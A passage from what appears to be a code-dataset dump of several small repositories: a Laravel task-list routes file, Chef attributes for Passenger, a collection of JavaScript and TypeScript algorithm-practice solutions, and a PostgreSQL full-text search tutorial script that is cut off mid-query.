branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <repo_name>Fujimaron/laravel-tutorial<file_sep>/routes/web.php
<?php
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
return view('welcome');
});
// Route::get('/folders/{id}/tasks', 'App\Http\Controllers\TaskController')->name('tasks.index');
// ホーム画面の表示
Route::get('/', [App\Http\Controllers\HomeController::class, 'index'])->name('home');
// 一覧画面
Route::get('/folders/{id}/tasks', [App\Http\Controllers\TaskController::class, 'index'])->name('tasks.index');
// フォルダの作成
Route::get('/folders/create', [App\Http\Controllers\FolderController::class, 'showCreateForm'])->name('folders.create');
Route::post('/folders/create', [App\Http\Controllers\FolderController::class, 'create']);
// タスクの作成
Route::get('/folders/{id}/tasks/create', [App\Http\Controllers\TaskController::class, 'showCreateForm'])->name('tasks.create');
Route::post('/folders/{id}/tasks/create', [App\Http\Controllers\TaskController::class, 'create']);
// タスクの編集
Route::get('/folders/{id}/tasks/{task_id}/edit', [App\Http\Controllers\TaskController::class, 'showEditForm'])->name('tasks.edit');
Route::post('/folders/{id}/tasks/{task_id}/edit', [App\Http\Controllers\TaskController::class, 'edit']);
// 会員登録の認証
Auth::routes();
// Route::get(
// '/folders/{folder}/tasks',
// [App\Http\Controllers\TaskController::class, 'index']
// )->name('tasks.index');
Auth::routes();
Route::get('/home', [App\Http\Controllers\HomeController::class, 'index'])->name('home');
| a424e6e1c9b9d8ebc34b931c008e91d43819aa72 | [
"PHP"
] | 1 | PHP | Fujimaron/laravel-tutorial | ae751356899d33d5c3e374a4707be2f9a99ec6ec | 6aa92cde9b1ad9060cdb005183bca9fdb0867cce |
refs/heads/master | <repo_name>meineerde-cookbooks/passenger_apache2<file_sep>/attributes/default.rb
default[:passenger][:version] = "3.0.11"
default[:passenger][:max_pool_size] = "6"
# Use the default calculated paths when nil
default[:passenger][:root_path] = nil
default[:passenger][:module_path] = nil
| 4972c9c1690fdf3da38ceec57ee29bdf3e123ddb | [
"Ruby"
] | 1 | Ruby | meineerde-cookbooks/passenger_apache2 | 26d4b8d460e87108b510df226500ea1080f4145b | 2f6451b841ab462bdd6455ca9a0f0b2229644e93 |
refs/heads/master | <file_sep>const steps = 'UDDDUDUU';
// Complete the countingValleys function below.
function countingValleys(s) {
let strArr = s.split('')
let altitude = [];
let counter = 0;
let zero_indexes = [];
let final_counter = 0;
strArr.forEach(step => {
(step === 'U') ? counter++ : counter--;
altitude.push(counter);
});
altitude.forEach((el, index) => {
if (el === 0) { zero_indexes.push(index); }
});
zero_indexes.forEach(elem => {
if(altitude[elem - 1] === -1) {
final_counter++;
}
});
return final_counter;
}
console.log(countingValleys(steps));<file_sep>let arr = [
[1, 1, 1, 0, 5, 0],
[0, 1, 0, 0, 0, 0],
[1, 1, 1, 8, 0, 0],
[0, 0, 2, 4, 4, 0],
[0, 24, 0, 2, 0, 0],
[0, 0, 1, 2, 7, 0],
];
function hourglassSum(arr) {
let shift_count = 4;
let hourglass_2d_arr = [];
let final_result;
let sums_of_all_arrays = [];
for (let i = 0; i < shift_count; i++) {
for (let j = 0; j < shift_count; j++) {
let hg = [
arr[i][j], arr[i][j+1], arr[i][j+2],
arr[i+1][j+1],
arr[i+2][j], arr[i+2][j+1], arr[i+2][j+2]
];
hourglass_2d_arr.push(hg);
}
}
hourglass_2d_arr.forEach(arr => {
let arr_sum = arr.reduce((total, currentValue) => total + currentValue, 0);
sums_of_all_arrays.push(arr_sum);
});
final_result = sums_of_all_arrays.sort((a, b) => b - a);
return final_result[0];
}
console.log('hourglassSum(arr): ', hourglassSum(arr));<file_sep>let str1 = 'aaaaabbbbccccdd'; // should return 'abcd'
let str2 = 'fffffffbb'; // should return 'fb'
function removeDuplicates(str) {
return [...new Set(str.split(''))].join('');
}
console.log(removeDuplicates(str1)); // abcd
console.log(removeDuplicates(str2)); // abcd
<file_sep>const squareSum = (numbers) => {
return (!numbers || numbers.length === 0)
? 0 // empty array or zero args
: numbers.reduce((accum, curr) => accum + curr**2);
};
console.log(squareSum([1,2]));
console.log(squareSum([0, 3, 4, 5]));
console.log(squareSum([]));
console.log(squareSum());
console.log(squareSum([7,0,-13,1,14,-3,10,6]));<file_sep>function pyramidRecursive(n, i = 1) {
let symbol = '#';
let whitespace = ' ';
if (n === 0) {
return;
} else {
let chunk = whitespace.repeat(n - 1).concat(symbol.repeat(i)).concat(whitespace.repeat(n - 1));
console.log(chunk);
pyramidRecursive(n - 1, i + 2);
}
}
pyramidRecursive(7);<file_sep>function pyramid(n) {
let symbol = '#';
let whitespace = ' ';
if (n === 1) {
console.log(symbol);
} else {
for (let i = 1; i <= n; i++) {
let chunk = whitespace.repeat(n-i).concat(symbol.repeat(i)).concat(whitespace.repeat(n-i));
console.log(chunk);
}
}
}
pyramid(5);<file_sep>def insert(root, val):
if not root or root.val == val:
return root
elif val < root.val:
root.left = root.insert(root.left, val)
else:
root.right = root.insert(root.right, val)
return root
<file_sep>// Write a function:
// that, given an array A of N integers, returns the smallest positive integer (greater than 0) that does not occur in A.
// For example, given A = [1, 3, 6, 4, 1, 2], the function should return 5.
// Given A = [1, 2, 3], the function should return 4.
// Given A = [−1, −3], the function should return 1.
// Write an efficient algorithm for the following assumptions:
// N is an integer within the range [1..100,000];
// each element of array A is an integer within the range [−1,000,000..1,000,000].
function smallestMissingPositiveInteger(A) {
// Filter out non-positive numbers and duplicates
const positiveNumbers = [...new Set(A.filter((num) => num > 0))];
// If the array is empty or doesn't contain 1, return 1
if (positiveNumbers.length === 0 || !positiveNumbers.includes(1)) {
return 1;
}
// Sort the array and iterate over it to find the first missing positive number
positiveNumbers.sort((a, b) => a - b);
for (let i = 0; i < positiveNumbers.length; i++) {
if (positiveNumbers[i] !== i + 1) {
return i + 1;
}
}
// If all positive numbers are present and in order, return the next integer
return positiveNumbers[positiveNumbers.length - 1] + 1;
}
console.log(smallestMissingPositiveInteger([1, 2, 3])); // 4
console.log(smallestMissingPositiveInteger([-1, -2, 3])); // 1
console.log(smallestMissingPositiveInteger([1, 11, 2, 3, 9, 4, 6, 8, 7])); // 5
<file_sep>let arr = [1, 2, 3, 4, 5];
function rotLeft(a, d) {
if (d === a.length) { return a; }
let fixed_d = d % a.length;
return a.splice(fixed_d).concat(a).join(' ');
}
console.log(rotLeft(arr, 2));<file_sep>function highAndLow(numbers) {
let numsArr = numbers.split(' ');
const max = Math.max(...numsArr);
const min = Math.min(...numsArr);
return `${max} ${min}`;
}
console.log(highAndLow("8 3 -5 42 -1 0 0 -9 4 7 4 -4")); // "42 -9"
<file_sep>const SinglyLinkedListNode = class {
constructor(nodeData) {
this.data = nodeData;
this.next = null;
}
};
const SinglyLinkedList = class {
constructor() {
this.head = null;
this.tail = null;
}
};
function insertNodeAtHead(head, data) {
let newNode = new SinglyLinkedListNode(data);
if (head === null) {
let list = new SinglyLinkedList();
list.head = newNode;
return list.head;
} else {
let prevHead = head;
prevHead
head = newNode;
head
head.next = prevHead;
}
return head;
}
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode next;
* }
*
*/
// recursive solution
function removeNodeAt(head, position) {
if (position == 0) {
head = head.next;
return head;
}
head.next = deleteNode(head.next, position - 1);
return head;
}
// Intially the list in NULL.
let node1 = insertNodeAtHead(null, 7);
let node2 = insertNodeAtHead(node1, 19);
let node3 = insertNodeAtHead(node2, 2);
let node4 = insertNodeAtHead(node3, 6);
let node5 = insertNodeAtHead(node4, 20);
console.log(node5);
console.log('------');
// INPUT: 20 -> 6 -> 2 -> 19 -> 7 -> null
console.log(removeNodeAt(node5, 3)); // OUTPUT: 20 -> 6 -> 2 -> 7 -> null
<file_sep>let prices = [5, 1, 3, 4, 6, 2];
function finalPrice(prices) {
console.log('prices: ', prices);
// Write your code here
let discount_prices = [];
let full_prices_indexes = [];
let lowest_price_in_arr = Math.min(...prices);
console.log('lowest_price_in_arr: ', lowest_price_in_arr);
// compare
prices.forEach((element, index) => {
console.log('element, index: ', element, index);
if ((index === prices.length - 1) || (element === lowest_price_in_arr)) {
full_prices_indexes.push(element);
} else {
if (element > prices[index+1]) {
let res = element - prices[index+1];
discount_prices.push(res);
} else {
}
}
console.log('full_prices_indexes: ', full_prices_indexes);
console.log('discount_prices: ', discount_prices);
});
// return full_prices_indexes;
}
finalPrice(prices);<file_sep>function oddCount(n) {
return Math.floor(n/2);
}
console.log(oddCount(15), 7);
console.log(oddCount(15023), 7511);<file_sep>function areArraysAdaptable(arr1, arr2) {
if (arr1.length !== arr2.length) {
return 'no';
}
let offsets = [];
for (let i = 0; i < arr1.length; i++) {
offsets.push(arr2[i] - arr1[i]);
}
const offsetsWithoutZeros = offsets.filter((num) => num !== 0);
if (offsetsWithoutZeros.length === 0) {
return 'yes';
}
let uniqueOffsets = new Set(offsetsWithoutZeros);
return uniqueOffsets.size === 1 ? 'yes' : 'no';
}
console.log(areArraysAdaptable([1, 3, 5, 7, 15], [1, 3, 7, 9, 15])); // yes
console.log(areArraysAdaptable([1, 1], [1, 1])); // yes
console.log(areArraysAdaptable([1, 5, 15], [1, 40, 7])); // no
console.log(areArraysAdaptable([1, 5, 8, 9, 20, 15], [1, 40, 17, 9, 50, 49])); // no
<file_sep>function onlyNumbers(list) {
return list.filter((item) => typeof item === 'number');
}
console.log(onlyNumbers([1, 2, 'a', 'b']), [1, 2], 'For input [1,2,"a","b"]');
console.log(
onlyNumbers([1, 'a', 'b', 0, 15]),
[1, 0, 15],
'For input [1,"a","b",0,15]'
);
console.log(
onlyNumbers([1, 2, 'aasf', '1', '123', 123]),
[1, 2, 123],
'For input [1,2,"aasf","1","123",123]'
);
<file_sep>const countdown = (x) => {
console.log(x);
// base case
if (x <= 0) {
return;
} else {
countdown(x - 1);
}
}
countdown(5);<file_sep># hacker-rank
HackerRank practice
<file_sep>function numberToString(num) {
return num + '';
}
console.log(numberToString(67), '67');<file_sep>const DoublyLinkedListNode = class {
constructor(nodeData) {
this.data = nodeData;
this.next = null;
this.prev = null;
}
};
const DoublyLinkedList = class {
constructor() {
this.head = null;
this.tail = null;
}
};
function insertNodeAtHead(head, data) {
let newNode = new DoublyLinkedListNode(data);
if (head === null) {
let list = new DoublyLinkedList();
list.head = newNode;
return list.head;
} else {
let prevHead = head;
head = newNode;
head.next = prevHead;
prevHead.prev = head;
}
return head;
}
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode next;
* }
*
*/
function sortedInsert(head, data) {
let newnode = new DoublyLinkedListNode(data);
if (!head) { return newnode; }
else if (head.data >= data) {
head.prev = newnode;
newnode.next = head;
return newnode;
} else {
let h = head.next;
while (h) {
if (h.data >= data) {
h.prev.next = newnode;
newnode.prev = h.prev;
newnode.next = h;
return head;
} else if (h.data < data && !h.next) {
h.next = newnode;
newnode.prev = h;
return head;
}
h = h.next;
}
return head;
}
}
// Intially the list in NULL.
let node1 = insertNodeAtHead(null, 7);
let node2 = insertNodeAtHead(node1, 4);
let node3 = insertNodeAtHead(node2, 2);
let node4 = insertNodeAtHead(node3, 1);
console.log(node4); // 1 -> 2 -> 4 -> 7 -> NULL
console.log('----------------------------------');
// INPUT: list1 and list2
console.log(sortedInsert(node4, 3)); // OUTPUT: 1 -> 2 -> 3 -> 4 -> 7 -> NULL
<file_sep>const arr1 = [3, 2, 1, 1, 1];
const arr2 = [4, 3, 2];
const arr3 = [1, 1, 4, 1];
function equalStacks(h1, h2, h3) {
let sum1 = h1.reduce((total, curr) => total + curr, 0);
let sum2 = h2.reduce((total, curr) => total + curr, 0);
let sum3 = h3.reduce((total, curr) => total + curr, 0);
let minHeight = Math.min(sum1, sum2, sum3);
// const maxHeight = Math.max(height1, height2, height3);
while(!(sum1 === sum2 && sum2 === sum3)){
if(sum1>minHeight){
sum1 -= h1.shift();
}
if(sum2>minHeight){
sum2 -= h2.shift();
}
if(sum3>minHeight){
sum3 -= h3.shift();
}
minHeight = Math.min(sum1,sum2,sum3);
}
return console.log(minHeight);
}
console.log(equalStacks(arr1, arr2, arr3));
<file_sep>interface Tree {
value: number;
children?: Tree[];
}
const tree: Tree = {
value: 1,
children: [
{
value: 2,
children: [{ value: 4 }, { value: 5 }],
},
{
value: 3,
children: [{ value: 6 }, { value: 7 }],
},
],
};
function median(tree: Tree): number {
if (!tree.children) {
return tree.value;
}
const values: number[] = [];
const queue: Tree[] = [tree];
while (queue.length) {
const node: Tree | undefined = queue.shift();
if (node) {
values.push(node.value);
if (node.children) {
queue.push(...node.children);
}
}
}
console.log('values: ', values);
const result = (values.length % 2 === 0)
? (values[values.length / 2] + values[values.length / 2 - 1]) / 2 // even length of values
: values[Math.floor(values.length / 2)]; // odd length of values
return result;
}
console.log(median(tree));<file_sep>// let queue = [2, 1, 5, 3, 4];
let queue1 = [5, 1, 2, 3, 7, 8, 6, 4];
let queue2 = [1, 2, 5, 3, 7, 8, 6, 4];
function minimumBribes(q) {
let len = q.length
let final_result = 0;
for (let index = len; index-- > 0;) {
if (q[index] - (index + 1) > 2) {
final_result = 'Too chaotic';
break;
}
for (let j = Math.max(q[index]) - 2; j < index; j++) {
if (q[j] > q[index])
final_result++;
}
}
console.log(final_result);
}
console.log(minimumBribes(queue2));
<file_sep>function compare(arr1, arr2) {
// TODO: refactor
}
<file_sep>// Older version of flatten
// only 1-level deep
const arr1 = [[1, 2, 3], [4, 5, 6], [7, 8, 9]];
const arr2 = [[1, 2, 3], [4, 5, 6], [7, [8, [9]]]];
const flatValues = (data) => {
return data.reduce((total, value) => {
return total.concat(value);
}, []);
}
console.log(flatValues(arr1));
// for deep flatten we will use reduce and concat
const flattenDeep = (arr) => {
return arr.reduce((acc, val) => Array.isArray(val) ? acc.concat(flattenDeep(val)) : acc.concat(val), []);
}
console.log(flattenDeep(arr2));
<file_sep>const SinglyLinkedListNode = class {
constructor(nodeData) {
this.data = nodeData;
this.next = null;
}
};
const SinglyLinkedList = class {
constructor() {
this.head = null;
this.tail = null;
}
};
function insertNodeAtHead(head, data) {
let newNode = new SinglyLinkedListNode(data);
if (head === null) {
let list = new SinglyLinkedList();
list.head = newNode;
return list.head;
} else {
let prevHead = head;
prevHead
head = newNode;
head
head.next = prevHead;
}
return head;
}
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode next;
* }
*
*/
function removeDuplicates(head) {
if (!head) return null;
let n = head;
while (n.next) {
if (n.data === n.next.data) n.next = n.next.next;
else n = n.next;
}
return head;
}
// list1
let node1 = insertNodeAtHead(null, 5);
let node2 = insertNodeAtHead(node1, 4);
let node3 = insertNodeAtHead(node2, 3);
let node4 = insertNodeAtHead(node3, 3);
let node5 = insertNodeAtHead(node4, 3);
// console.log(node5);
console.log('----------------------------------');
// INPUT: 3 -> 3 -> 3 -> 4 -> 5 -> null
console.log(removeDuplicates(node5)); // OUTPUT: 3 -> 4 -> 5 -> null
<file_sep>function maxChars(str) {
let map = new Map();
str.split('').forEach(char => {
if (map.has(char)) {
map.set(char, (map.get(char) + 1));
} else {
map.set(char, 1);
}
});
let max_char_count = [...map.values()].sort((a, b) => b - a)[0];
let final_result;
[...map.keys()].forEach(key => map.get(key) === max_char_count ? final_result = key : null);
return final_result;
}
console.log(maxChars('Hello there!'));
<file_sep>let str1 = 'a simple example';
let str2 = 'awfawf, afa awd!';
let str3 = 'awkfg alfn! pl, afaw';
function capitalize(s) {
let result = [];
s.split(' ').forEach(word => result.push(word[0].toUpperCase().concat(word.slice(1))));
return result.join(' ');
}
console.log(capitalize(str1));
console.log(capitalize(str2));
console.log(capitalize(str3));
<file_sep>function steps(n) {
let symbol = '#';
let whitespace = ' ';
for (let i = 1; i <= n; i++) {
let chunk = symbol.repeat(i).concat(whitespace.repeat(n-i));
console.log(chunk);
}
}
steps(4);
<file_sep>const SinglyLinkedListNode = class {
constructor(nodeData) {
this.data = nodeData;
this.next = null;
}
};
const SinglyLinkedList = class {
constructor() {
this.head = null;
this.tail = null;
}
};
function insertNodeAtHead(head, data) {
let newNode = new SinglyLinkedListNode(data);
if (head === null) {
let list = new SinglyLinkedList();
list.head = newNode;
return list.head;
} else {
let prevHead = head;
prevHead
head = newNode;
head
head.next = prevHead;
}
return head;
}
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode next;
* }
*
*/
function findMergeNode(headA, headB) {
let h1 = headA;
while (!!h1) {
h1.visited = true;
h1 = h1.next;
}
let h2 = headB;
while (!!h2) {
if (h2.visited) {
return h2.data;
} else {
h2 = h2.next;
}
}
return null;
}
// Intially the list in NULL.
let node1 = insertNodeAtHead(null, 7);
let node2 = insertNodeAtHead(node1, 19);
let node3 = insertNodeAtHead(node2, 2);
let node4 = insertNodeAtHead(node3, 6);
console.log(node4); // 6 -> 2 -> 19 -> 7 -> NULL
console.log('----------------------------------');
let node8 = insertNodeAtHead(node2, 4);
console.log(node8); // 4 -> 19 -> 7 -> NULL
// INPUT: list1 and list2
//6--->2
// \
// 19--->7--->Null
// /
//4
console.log(findMergeNode(node4, node8)); // OUTPUT: 19
<file_sep>function lovefunc(flower1, flower2){
let isFlower1Even;
let isFlower2Odd;
if (flower1 % 2 === 0) {
isFlower1Even = true;
}
if (flower2 % 2 !== 0) {
isFlower2Odd = true;
}
return (isFlower1Even && isFlower2Odd) || (!isFlower1Even && !isFlower2Odd);
}
console.log(lovefunc(1,4), true);
console.log(lovefunc(2,2), false);
console.log(lovefunc(0,1), true);
console.log(lovefunc(0,0), false);<file_sep>function longestConsec(strarr, k) {
// 1. handle exeptions
if (k <= 0 || k > strarr.length) {
return '';
}
// 2. concatenate strings
const concatenatedStrings = [];
for (let i = 0; i < strarr.length - (k - 1); i++) {
let tempStr = '';
for (let j = 0; j < k; j++) {
tempStr += strarr[i+j];
}
concatenatedStrings.push(tempStr);
}
// 3. compare lengths of strings
let longestStr = '';
let longestStrLength = 0;
for (const [index, val] of concatenatedStrings.entries()) {
if (val.length > longestStrLength) {
longestStr = val;
longestStrLength = val.length;
}
}
// 4. and return first longest
return longestStr;
}
console.log(longestConsec(["zone", "abigail", "theta", "form", "libe", "zas"], 2), "abigailtheta")
console.log(longestConsec(["ejjjjmmtthh", "zxxuueeg", "aanlljrrrxx", "dqqqaaabbb", "oocccffuucccjjjkkkjyyyeehh"], 1), "oocccffuucccjjjkkkjyyyeehh")
// console.log(longestConsec([], 3), "")
console.log(longestConsec(["itvayloxrp","wkppqsztdkmvcuwvereiupccauycnjutlv","vweqilsfytihvrzlaodfixoyxvyuyvgpck"], 2), "wkppqsztdkmvcuwvereiupccauycnjutlvvweqilsfytihvrzlaodfixoyxvyuyvgpck")
console.log(longestConsec(["wlwsasphmxx","owiaxujylentrklctozmymu","wpgozvxxiu"], 2), "wlwsasphmxxowiaxujylentrklctozmymu")
// console.log(longestConsec(["zone", "abigail", "theta", "form", "libe", "zas"], -2), "")
console.log(longestConsec(["it","wkppv","ixoyx", "3452", "zzzzzzzzzzzz"], 3), "ixoyx3452zzzzzzzzzzzz")
// console.log(longestConsec(["it","wkppv","ixoyx", "3452", "zzzzzzzzzzzz"], 15), "")
// console.log(longestConsec(["it","wkppv","ixoyx", "3452", "zzzzzzzzzzzz"], 0), "")
<file_sep>let arr = [1, 2, 3, 4, 5];
function chunk(arr, size) {
if (size >= arr.length) {
return arr;
}
let result_arr = [];
let modulo = Math.floor(arr.length / size);
let remainder = arr.length % size;
for (let i = modulo; i-- > 0;) {
result_arr.push(arr.splice(0, size));
}
if (remainder) {
result_arr.push(arr);
}
return result_arr;
}
console.log(chunk(arr, 4));<file_sep>// Given array is let's say from 1 to 100 [1-100]
// It's not sorted and we now that one of the numbers is missing
// We need to find it
// Let's take shorter array with only 10 numbers, but solution must work with bigger arrays
const arr = [5,1,2,4,3,6,10,8,7];
// We now that sum of numbers from 1 to n is equal: N*(N+1)/2
// Example: sum of all numbers in [1,2,3,4,5] is: 5*(5+1)/2 = 15
// So we will use it in our solution:
function sumNumbersInRange(numbersCount) {
return numbersCount*(numbersCount + 1)/2;
}
function findMissingNumber(arr) {
const sumOfFullArr = sumNumbersInRange(arr.length + 1); // +1 because in full array we'd have all 10 numbers and here one is missing. So +1
const sumOfGivenArr = arr.reduce((accum, curr) => accum + curr); // sum of all elems in given array
return sumOfFullArr - sumOfGivenArr; // The difference is our missing number
}
console.log(findMissingNumber(arr));
<file_sep>const SinglyLinkedListNode = class {
constructor(nodeData) {
this.data = nodeData;
this.next = null;
}
};
const SinglyLinkedList = class {
constructor() {
this.head = null;
this.tail = null;
}
};
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode next;
* }
*
*/
function insertNodeAtHead(head, data) {
let newNode = new SinglyLinkedListNode(data);
if (head === null) {
let list = new SinglyLinkedList();
list.head = newNode;
return list.head;
} else {
let prevHead = head;
prevHead
head = newNode;
head
head.next = prevHead;
}
return head;
}
// Intially the list in NULL.
let node1 = insertNodeAtHead(null, 123); // After inserting 123, the list is 123 -> NULL.
let node2 = insertNodeAtHead(node1, 456); // After inserting 456, the list is 456 -> 123 -> NULL.
let node3 = insertNodeAtHead(node2, 789); // After inserting 789, the list is 789 -> 456 -> 123 -> NULL.
console.log('node1: ', node1);
console.log('node2: ', node2);
console.log('node3: ', node3);
<file_sep>// https://www.hackerrank.com/challenges/dynamic-array/problem
let queries = [ [ 1, 0, 5 ], [ 1, 1, 7 ], [ 1, 0, 3 ], [ 2, 1, 0 ], [ 2, 1, 1 ] ];
function dynamicArray(n, queries) {
let seq_arr = [];
let lastAnswer = 0;
for (let i = 0; i < n; i++) {
seq_arr[i] = [];
}
queries.forEach(q => {
let x = q[1];
let y = q[2];
let index = ((x ^ lastAnswer) % n);
let target_seq = seq_arr[index];
if (q[0] === 1) {
target_seq.push(y);
} else {
lastAnswer = target_seq[(y % target_seq.length)];
console.log(lastAnswer);
}
});
}
dynamicArray(2, queries);
<file_sep>function positiveSum(arr) {
if (!arr.length) {
return 0;
}
const result = arr.filter(item => item >= 0);
if (!result.length) {
return 0;
}
return result.reduce((accum, curr) => accum + curr);
}
console.log(positiveSum([1,2,3,4,5]),15);
console.log(positiveSum([1,-2,3,4,5]),13);
console.log(positiveSum([]),0);
console.log(positiveSum([-1,-2,-3,-4,-5]),0);
console.log(positiveSum([-1,2,3,4,-5]),9);
<file_sep>let s = 'a';
let n = 1000000000000000;
function repeatedString(s, n) {
let c = 0,
ca = 0,
remaining = n % s.length;
for (let i = s.length; i-- > 0;) {
if (s.charAt(i) == 'a') {
++c;
if (i < remaining) { ++ca; }
}
}
return ((n - remaining) / s.length * c) + ca;
}
console.log('repeatedString(s, n): ', repeatedString(s, n));
// Explanation:
// 'ca' is the remaining 'a' characters,
// 'c' is the total amount of characters in the given string without the remaining.
// 'remaining' is the remaining that doesn't fit into the 'n',
// so ((n - r) / s.length * c) is the amount of characters whitout the remainings of 'a' characters.
// The remaining must be counted only if is not greater than the index (i < r).
// So the total amount without the remaining + the remaining 'ca' is the result.<file_sep>const SinglyLinkedListNode = class {
constructor(nodeData) {
this.data = nodeData;
this.next = null;
}
};
const SinglyLinkedList = class {
constructor() {
this.head = null;
this.tail = null;
}
};
function insertNodeAtHead(head, data) {
let newNode = new SinglyLinkedListNode(data);
if (head === null) {
let list = new SinglyLinkedList();
list.head = newNode;
return list.head;
} else {
let prevHead = head;
prevHead
head = newNode;
head
head.next = prevHead;
}
return head;
}
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode next;
* }
*
*/
function mergeLists(head1, head2) {
if (!head1) return head2;
if (!head2) return head1;
if (head1.data < head2.data) {
head1.next = mergeLists(head1.next, head2);
return head1;
} else {
head2.next = mergeLists(head2.next, head1);
return head2;
}
}
// list1
let node1 = insertNodeAtHead(null, 20);
let node2 = insertNodeAtHead(node1, 6);
let node3 = insertNodeAtHead(node2, 5);
let node4 = insertNodeAtHead(node3, 3);
let node5 = insertNodeAtHead(node4, 1);
// console.log(node5);
console.log('----------------------------------');
let node6 = insertNodeAtHead(null, 24);
let node7 = insertNodeAtHead(node6, 22);
let node8 = insertNodeAtHead(node7, 21);
let node9 = insertNodeAtHead(node8, 19);
let node10 = insertNodeAtHead(node9, 2);
// console.log(node10);
console.log('----------------------------------');
// INPUT: list1 and list2
console.log(mergeLists(node5, node10)); // OUTPUT: 1
<file_sep>function reverseNumber(int) {
let result = int.toString().split('').reverse().join('');
return parseInt(result, 10) * Math.sign(int);
}
console.log(reverseNumber(-75));
<file_sep>let str1 = 'Hello there!';
let str2 = 'Why?';
let str3 = 'School';
function vowels(str) {
const regex = /[aeiou]/gi;
const matches = str.match(regex); // matches will be assigned to either array or null
return matches ? matches.length : 0;
}
console.log(vowels(str1));
// Iterative solution:
// function vowels(str) {
// let vowels = ['a', 'e', 'i', 'o', 'u'];
// let obj = {};
// let str_arr = str.toLowerCase().split('');
// str_arr.forEach(el => {
// if (vowels.includes(el)) {
// obj[el] ? obj[el] += 1 : obj[el] = 1;
// }
// });
// return Object.values(obj).reduce((partial_sum, el) => { return partial_sum + el}, 0);
// }<file_sep>const SinglyLinkedListNode = class {
constructor(nodeData) {
this.data = nodeData;
this.next = null;
}
};
const SinglyLinkedList = class {
constructor() {
this.head = null;
this.tail = null;
}
};
function insertNodeAtHead(head, data) {
let newNode = new SinglyLinkedListNode(data);
if (head === null) {
let list = new SinglyLinkedList();
list.head = newNode;
return list.head;
} else {
let prevHead = head;
prevHead
head = newNode;
head
head.next = prevHead;
}
return head;
}
/*
* For your reference:
*
* SinglyLinkedListNode {
* int data;
* SinglyLinkedListNode next;
* }
*
*/
function reverse(head) {
let prev = null;
let curr = head;
let next = null;
while (curr !== null) {
next = curr.next;
curr.next = prev;
prev = curr;
curr = next;
}
head = prev;
return head;
}
// Intially the list in NULL.
let node1 = insertNodeAtHead(null, 7);
let node2 = insertNodeAtHead(node1, 19);
let node3 = insertNodeAtHead(node2, 2);
let node4 = insertNodeAtHead(node3, 6);
let node5 = insertNodeAtHead(node4, 20);
console.log(node5);
console.log('----------------------------------');
// INPUT: 20 -> 6 -> 2 -> 19 -> 7 -> NULL
console.log(reverse(node5)); // OUTPUT: 7 -> 19 -> 2 -> 6 -> 20 -> NULL
| ad1be4a2014d8b5086651dfb71f1c9e6abb6dba3 | [
"JavaScript",
"Python",
"TypeScript",
"Markdown"
] | 41 | JavaScript | evgeniy-aksyonov/hacker-rank | d6fe6fee0f58c41bffcbe272e5ab3de27f49fbca | 07014358849c99dde85cedc5b6f00712f60689f0 |
refs/heads/master | <repo_name>plier/7-databases<file_sep>/postgresql/day3_full-text_and_multidimensions.sql
create table genres (
name text unique,
position integer
);
create table movies (
movie_id serial primary key,
title text,
genre cube
);
create table actors (
actor_id serial primary key,
name text
);
create table movies_actors (
movie_id integer references movies not null,
actor_id integer references actors not null,
unique (movie_id, actor_id)
);
create index movies_actors_movie_id on movies_actors (movie_id);
create index movies_actors_actor_id on movies_actors (actor_id);
create index movies_genres_cube on movies using gist (genre);
-- load data with psql -d book -f movie_data.sql
-- Case insensitive searching
select title from movies where title ilike 'stardust%';
-- ensure stardust is not at the end of the title
select title from movies where title ilike 'stardust_%';
-- Regex searches (not-match case insensitive)
select count(*) from movies where title !~* '^the.*';
-- Index title for regex searches
create index movies_title_pattern on movies (lower(title) text_pattern_ops);
-- Levenshtein distance
select levenshtein('bat', 'fads');
-- Find close matches with levenshtein distance
select movie_id, title, levenshtein(lower(title), lower('a hard day night')) as distance from movies order by distance;
-- Trigrams
select show_trgm('Avatar');
-- Create a trigram index on movie titles
create index movies_title_trigram on movies
using gist (title gist_trgm_ops);
select * from movies where title % 'Avatre';
-- Full-text search
select title from movies
where title @@ 'night & day';
-- language-specific version
select title from movies
where to_tsvector(title) @@ to_tsquery('english', 'night & day');
-- stop words are ignored
select * from movies where title @@ to_tsquery('english', 'a');
-- Different dictionaries have different stop words:
select to_tsvector('english', 'A Hard Day''s Night');
-- 'day':3 'hard':2 'night':5
select to_tsvector('simple', 'A Hard Day''s Night');
-- 'a':1 'day':3 'hard':2 'night':5 's':4
-- Calling the lexer directly
select ts_lexize('english_stem', 'Day''s');
-- {day}
-- Now, in german (if we had the dictionary installed)
--select ts_lexize('german', 'was machst du gerade?');
-- Explain query plan
explain
select * from movies
where title @@ 'night & day';
-- QUERY PLAN
----------------------------------------------------------
-- Seq Scan on movies (cost=0.00..175.07 rows=3 width=315)
-- Filter: (title @@ 'night & day'::text)
--(2 rows)
-- Create GIN for movie titles
create index movies_title_searchable on movies
using gin(to_tsvector('english', title));
-- Index only works for english searches
explain
select * from movies
where to_tsvector('english', title) @@ 'night & day';
-- QUERY PLAN
--------------------------------------------------------------------------------------------------
-- Bitmap Heap Scan on movies (cost=20.00..24.02 rows=1 width=315)
-- Recheck Cond: (to_tsvector('english'::regconfig, title) @@ '''night'' & ''day'''::tsquery)
-- -> Bitmap Index Scan on movies_title_searchable (cost=0.00..20.00 rows=1 width=0)
-- Index Cond: (to_tsvector('english'::regconfig, title) @@ '''night'' & ''day'''::tsquery)
-- Metaphones
-- This doesn't work
select * from actors where name = '<NAME>';
-- Trigrams don't help either
select * from actors where name % '<NAME>';
-- Book changed the misspelling of "Wils"?
select title from movies natural join movies_actors natural join actors where
